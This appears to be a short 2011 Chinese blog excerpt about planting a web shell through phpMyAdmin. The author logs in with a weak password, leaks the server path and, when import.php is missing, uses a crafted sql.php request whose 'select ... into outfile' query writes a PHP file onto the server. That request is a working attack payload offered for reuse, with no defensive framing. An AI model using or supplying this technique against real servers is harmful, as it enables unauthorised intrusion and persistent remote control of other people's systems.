2011年4月25日

phpmyadmin另类拿shell

摘要: 发现了个PHPMYADMIN 结果弱口令登陆进去 爆出绝对路径 然后执行SQL语句发现导出SHELL的时候却发现缺少了import.php这个文件 结果没办法执行MYSQL语句!然后本地测试了下 发现另外的方法==========================================phpMyAdmin/sql.php?db=test&table=a&printview=1&sql_query=select%20cmd%20from+a%20into%20outfile%20'E:\\test1.php';&display_text=F 阅读全文

posted @ 2011-04-25 12:55 =_=! 阅读(198) 评论(0) 推荐(0) 编辑

导航